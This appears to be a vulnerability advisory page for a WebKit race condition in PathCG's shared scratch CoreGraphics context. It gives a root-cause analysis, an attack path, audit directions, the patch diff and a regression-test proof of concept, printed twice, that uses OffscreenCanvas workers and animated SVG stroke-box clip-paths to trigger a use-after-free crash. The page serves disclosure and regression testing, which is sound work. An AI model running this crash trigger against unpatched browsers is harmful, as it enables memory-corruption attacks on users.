CVE-2026-64718
Overview
Background
- `PathCG`
- The CoreGraphics backend of WebCore’s
Pathabstraction (Source/WebCore/platform/graphics/cg/PathCG.cpp). It implementsstrokeContains()(hit-testing a point against a stroked path, used byisPointInStroke) andstrokeBoundingRect()(computing the bounding box of a stroked path). - Scratch `CGContextRef`
- Both routines need a throwaway
CGContextto feed stroke geometry into CoreGraphics (CGContextSetLineDash,CGContextSaveGState,CGContextReplacePathWithStrokedPath, etc.).scratchContext()returns a process-wide singleton created once bycreateScratchContext(). - `NeverDestroyed` vs `ThreadSpecific`
NeverDestroyed<T>is a single leaked instance shared by all threads.ThreadSpecific<T>gives each thread its own instance; the patch switches the scratch context from the former to the latter.- OffscreenCanvas workers
OffscreenCanvas.getContext("2d")plusisPointInStroke()lets a Web Worker drivePathCG::strokeContains()off the main thread, so path code runs concurrently on many threads.
Root Cause Analysis
scratchContext() returned a single process-wide CGContextRef (static NeverDestroyed<RetainPtr<CGContextRef>>). A CGContext is mutable, stateful CoreGraphics object: strokeContains() and strokeBoundingRect() both mutate it (save/restore graphics state, set the line dash array via CGContextSetLineDash, replace the path with its stroked version). The old code tried to serialize this with a lock — but each function declared its own static Lock scratchContextLock as a function-local static. Those are two distinct lock objects. strokeContains() therefore only excluded other strokeContains() callers, and strokeBoundingRect() only excluded other strokeBoundingRect() callers; the two functions did not mutually exclude each other even though they share the single scratch context.
Consequently a Worker thread executing strokeContains() (via OffscreenCanvas isPointInStroke) could run concurrently with the main thread executing strokeBoundingRect() (forced here by an SVG clip-path: ... stroke-box that recomputes the stroke bounding box on every paint), both mutating the same shared CGContext. Concurrent CGContextSetLineDash / gstate mutation races on CoreGraphics’ internal allocations, corrupting or freeing context-internal state out from under the other thread — the use-after-free / crash the advisory describes. The patch makes the scratch context ThreadSpecific, lazily creating one per thread (if (!result) result = createScratchContext();), and removes both locks entirely: with no cross-thread sharing there is nothing to race on.
CGContext was shared across threads, and the “lock” guarding it was two separate per-function locks that never excluded each other — so strokeContains() on a worker and strokeBoundingRect() on the main thread mutated the same context simultaneously.Attack Path
- Spawn workers Page creates several OffscreenCanvas-backed Workers (the test uses 8) and transfers canvases to them.
- Hammer strokeContains
Each worker loops calling
ctx.isPointInStroke(...)with varyingsetLineDashpatterns, continuously drivingPathCG::strokeContains()on worker threads and mutating the shared scratch context. - Force strokeBoundingRect on main thread
The page builds SVG paths with
clip-path: inset(0) stroke-boxand animates theird/stroke-dasharray, forcingPathCG::strokeBoundingRect()on every main-thread paint. - Concurrent mutation
Main-thread
strokeBoundingRect()and workerstrokeContains()enter CoreGraphics on the sameCGContextat once (no shared lock), racing on its internal dash/gstate allocations. - Memory corruption The race corrupts/frees CoreGraphics context state, yielding a use-after-free and crash (an exploitable corruption primitive is inferred, not shown by the diff).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
whileLayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html |
modified | |
forLayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html |
modified |
Files Changed
LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txtLayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.htmlSource/WebCore/platform/graphics/cg/PathCG.cpp
Audit Directions
- Other function-local `static Lock` guardsAny pattern where two functions each declare their own
static Lockintending to protect a shared resource is broken; grep for duplicated lock names guarding the same global. - Shared mutable CoreGraphics/CoreText singletonsAudit other
NeverDestroyed<RetainPtr<CGContextRef>>/ sharedCGContext/CTFontscratch objects reachable from both main thread and Worker/OffscreenCanvas paths. - OffscreenCanvas-reachable graphics codeAny WebCore graphics routine newly reachable off-main-thread via OffscreenCanvas 2D should be re-audited for thread-affinity assumptions that predate Workers.
Patch
diff --git a/Source/WebCore/platform/graphics/cg/PathCG.cpp b/Source/WebCore/platform/graphics/cg/PathCG.cpp
index 9160c88b5cff..d91f1eaaedf5 100644
--- a/Source/WebCore/platform/graphics/cg/PathCG.cpp
+++ b/Source/WebCore/platform/graphics/cg/PathCG.cpp
@@ -597,17 +597,19 @@ static RetainPtr<CGContextRef> createScratchContext()
static inline CGContextRef scratchContext()
{
- static NeverDestroyed<RetainPtr<CGContextRef>> context = createScratchContext();
- return context.get().get();
+ static NeverDestroyed<ThreadSpecific<RetainPtr<CGContextRef>>> context;
+
+ auto& result = *context.get();
+ if (!result)
+ result = createScratchContext();
+
+ return result.get();
}
bool PathCG::strokeContains(const FloatPoint& point, NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
{
ASSERT(strokeStyleApplier);
- static Lock scratchContextLock;
- Locker locker { scratchContextLock };
-
CGContextRef context = scratchContext();
CGContextSaveGState(context);
@@ -643,9 +645,6 @@ FloatRect PathCG::boundingRect() const
FloatRect PathCG::strokeBoundingRect(NOESCAPE const Function<void(GraphicsContext&)>& strokeStyleApplier) const
{
- static Lock scratchContextLock;
- Locker locker { scratchContextLock };
-
CGContextRef context = scratchContext();
CGContextSaveGState(context);
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
new file mode 100644
index 000000000000..d9bf9e397968
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
@@ -0,0 +1,5 @@
+Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().
+
+PASS if this test does not crash.
+
+
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
new file mode 100644
index 000000000000..1e19119c8fdf
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
@@ -0,0 +1,119 @@
+<body>
+<p>Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().</p>
+<p>PASS if this test does not crash.</p>
+<div id="container"></div>
+<script>
+ window.testRunner?.waitUntilDone();
+ window.testRunner?.dumpAsText();
+
+ function createOffscreenCanvasWorkers() {
+ const workerCode = `
+ self.onmessage = function(e) {
+ const ctx = e.data.getContext("2d");
+ let iter = 0;
+ while (true) {
+ const dashLen = 2 + (iter % 6);
+ const dashes = [];
+ for (let d = 0; d < dashLen; d++)
+ dashes.push(3 + ((iter * 7 + d * 13) % 30));
+
+ ctx.setLineDash(dashes);
+ ctx.lineDashOffset = iter % 50;
+ ctx.lineWidth = 2 + (iter % 15);
+ ctx.beginPath();
+
+ for (let j = 0; j < 15; j++) {
+ const a = j / 15 * Math.PI * 2 + iter * 0.1;
+ const r = 30 + 20 * Math.sin(j * 0.7 + iter * 0.3);
+ const x = 64 + r * Math.cos(a);
+ const y = 64 + r * Math.sin(a);
+ if (j === 0)
+ ctx.moveTo(x, y);
+ else
+ ctx.bezierCurveTo(x + 10 * Math.sin(iter + j), y + 10 * Math.cos(iter + j), x - 6 * Math.cos(iter * j), y - 6 * Math.sin(iter * j), x, y);
+ }
+ ctx.closePath();
+ ctx.isPointInStroke(64, 64);
+ iter++;
+ }
+ };
+ `;
+
+ // Launch 8 workers to hammer strokeContains
+ for (let i = 0; i < 8; i++) {
+ const canvas = document.createElement("canvas");
+ canvas.width = canvas.height = 128;
+ const offscreen = canvas.transferControlToOffscreen();
+ const worker = new Worker(URL.createObjectURL(new Blob([workerCode])));
+ worker.postMessage(offscreen, [offscreen]);
+ }
+ }
+
+ const svgPaths = [];
+
+ function createSVGPaths() {
+ const svgNS = "http://www.w3.org/2000/svg";
+ const container = document.getElementById('container');
+
+ // Create SVG paths with clip-path: circle(100%) stroke-box
+ // This forces strokeBoundingBox() computation during every paint
+ for (let i = 0; i < 20; i++) {
+ const svg = document.createElementNS(svgNS, "svg");
+ svg.setAttribute("width", "80");
+ svg.setAttribute("height", "80");
+ svg.style.display = "inline-block";
+
+ const path = document.createElementNS(svgNS, "path");
+ path.setAttribute("d", "M10,10 C50,0 50,80 70,70 L60,20 Q30,60 70,40 Z");
+ path.setAttribute("stroke", "red");
+ path.setAttribute("stroke-width", "4");
+ path.setAttribute("stroke-dasharray", "10,5,3,7");
+ path.setAttribute("fill", "blue");
+ // clip-path with stroke-box reference box forces strokeBoundingBox() on every paint
+ path.style.clipPath = "inset(0) stroke-box";
+
+ svg.appendChild(path);
+ container.appendChild(svg);
+ svgPaths.push(path);
+ }
+ }
+
+ let frameCount = 0;
+
+ function animationLoop() {
+ let generatePath = function (seed) {
+ let d = 'M' + (5 + seed % 40) + ',' + (5 + seed % 30);
+ for (let i = 0; i < 5; i++) {
+ const x1 = 5 + ((seed * 7 + i * 13) % 70);
+ const y1 = 5 + ((seed * 11 + i * 17) % 70);
+ const x2 = 5 + ((seed * 3 + i * 23) % 70);
+ const y2 = 5 + ((seed * 5 + i * 29) % 70);
+ const x = 5 + ((seed * 13 + i * 31) % 70);
+ const y = 5 + ((seed * 17 + i * 37) % 70);
+ d += ' C' + x1 + ',' + y1 + ' ' + x2 + ',' + y2 + ' ' + x + ',' + y;
+ }
+ d += ' Z';
+ return d;
+ };
+
+ // Modify all SVG paths to invalidate their stroke bounding box cache
+ for (let i = 0; i < svgPaths.length; i++) {
+ const seed = frameCount * 20 + i;
+ svgPaths[i].setAttribute('d', generatePath(seed));
+ // Vary dash pattern to ensure CGContextSetLineDash allocates different arrays
+ const d1 = 3 + ((seed * 7) % 20);
+ const d2 = 2 + ((seed * 11) % 12);
+ const d3 = 4 + ((seed * 3) % 15);
+ svgPaths[i].setAttribute('stroke-dasharray', d1 + ',' + d2 + ',' + d3);
+ }
+
+ if (++frameCount <= 10)
+ requestAnimationFrame(animationLoop);
+ else
+ window.testRunner?.notifyDone();
+ }
+
+ createOffscreenCanvasWorkers();
+ createSVGPaths();
+ requestAnimationFrame(animationLoop);
+</script>
Regression Test / PoC
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
new file mode 100644
index 000000000000..d9bf9e397968
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash-expected.txt
@@ -0,0 +1,5 @@
+Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().
+
+PASS if this test does not crash.
+
+
diff --git a/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
new file mode 100644
index 000000000000..1e19119c8fdf
--- /dev/null
+++ b/LayoutTests/fast/canvas/offscreen-isPointInStroke-svg-stroke-bounds-race-crash.html
@@ -0,0 +1,119 @@
+<body>
+<p>Ensure Path uses thread-safe context to check strokeContains() and to calculate strokeBoundingBox().</p>
+<p>PASS if this test does not crash.</p>
+<div id="container"></div>
+<script>
+ window.testRunner?.waitUntilDone();
+ window.testRunner?.dumpAsText();
+
+ function createOffscreenCanvasWorkers() {
+ const workerCode = `
+ self.onmessage = function(e) {
+ const ctx = e.data.getContext("2d");
+ let iter = 0;
+ while (true) {
+ const dashLen = 2 + (iter % 6);
+ const dashes = [];
+ for (let d = 0; d < dashLen; d++)
+ dashes.push(3 + ((iter * 7 + d * 13) % 30));
+
+ ctx.setLineDash(dashes);
+ ctx.lineDashOffset = iter % 50;
+ ctx.lineWidth = 2 + (iter % 15);
+ ctx.beginPath();
+
+ for (let j = 0; j < 15; j++) {
+ const a = j / 15 * Math.PI * 2 + iter * 0.1;
+ const r = 30 + 20 * Math.sin(j * 0.7 + iter * 0.3);
+ const x = 64 + r * Math.cos(a);
+ const y = 64 + r * Math.sin(a);
+ if (j === 0)
+ ctx.moveTo(x, y);
+ else
+ ctx.bezierCurveTo(x + 10 * Math.sin(iter + j), y + 10 * Math.cos(iter + j), x - 6 * Math.cos(iter * j), y - 6 * Math.sin(iter * j), x, y);
+ }
+ ctx.closePath();
+ ctx.isPointInStroke(64, 64);
+ iter++;
+ }
+ };
+ `;
+
+ // Launch 8 workers to hammer strokeContains
+ for (let i = 0; i < 8; i++) {
+ const canvas = document.createElement("canvas");
+ canvas.width = canvas.height = 128;
+ const offscreen = canvas.transferControlToOffscreen();
+ const worker = new Worker(URL.createObjectURL(new Blob([workerCode])));
+ worker.postMessage(offscreen, [offscreen]);
+ }
+ }
+
+ const svgPaths = [];
+
+ function createSVGPaths() {
+ const svgNS = "http://www.w3.org/2000/svg";
+ const container = document.getElementById('container');
+
+ // Create SVG paths with clip-path: circle(100%) stroke-box
+ // This forces strokeBoundingBox() computation during every paint
+ for (let i = 0; i < 20; i++) {
+ const svg = document.createElementNS(svgNS, "svg");
+ svg.setAttribute("width", "80");
+ svg.setAttribute("height", "80");
+ svg.style.display = "inline-block";
+
+ const path = document.createElementNS(svgNS, "path");
+ path.setAttribute("d", "M10,10 C50,0 50,80 70,70 L60,20 Q30,60 70,40 Z");
+ path.setAttribute("stroke", "red");
+ path.setAttribute("stroke-width", "4");
+ path.setAttribute("stroke-dasharray", "10,5,3,7");
+ path.setAttribute("fill", "blue");
+ // clip-path with stroke-box reference box forces strokeBoundingBox() on every paint
+ path.style.clipPath = "inset(0) stroke-box";
+
+ svg.appendChild(path);
+ container.appendChild(svg);
+ svgPaths.push(path);
+ }
+ }
+
+ let frameCount = 0;
+
+ function animationLoop() {
+ let generatePath = function (seed) {
+ let d = 'M' + (5 + seed % 40) + ',' + (5 + seed % 30);
+ for (let i = 0; i < 5; i++) {
+ const x1 = 5 + ((seed * 7 + i * 13) % 70);
+ const y1 = 5 + ((seed * 11 + i * 17) % 70);
+ const x2 = 5 + ((seed * 3 + i * 23) % 70);
+ const y2 = 5 + ((seed * 5 + i * 29) % 70);
+ const x = 5 + ((seed * 13 + i * 31) % 70);
+ const y = 5 + ((seed * 17 + i * 37) % 70);
+ d += ' C' + x1 + ',' + y1 + ' ' + x2 + ',' + y2 + ' ' + x + ',' + y;
+ }
+ d += ' Z';
+ return d;
+ };
+
+ // Modify all SVG paths to invalidate their stroke bounding box cache
+ for (let i = 0; i < svgPaths.length; i++) {
+ const seed = frameCount * 20 + i;
+ svgPaths[i].setAttribute('d', generatePath(seed));
+ // Vary dash pattern to ensure CGContextSetLineDash allocates different arrays
+ const d1 = 3 + ((seed * 7) % 20);
+ const d2 = 2 + ((seed * 11) % 12);
+ const d3 = 4 + ((seed * 3) % 15);
+ svgPaths[i].setAttribute('stroke-dasharray', d1 + ',' + d2 + ',' + d3);
+ }
+
+ if (++frameCount <= 10)
+ requestAnimationFrame(animationLoop);
+ else
+ window.testRunner?.notifyDone();
+ }
+
+ createOffscreenCanvasWorkers();
+ createSVGPaths();
+ requestAnimationFrame(animationLoop);
+</script>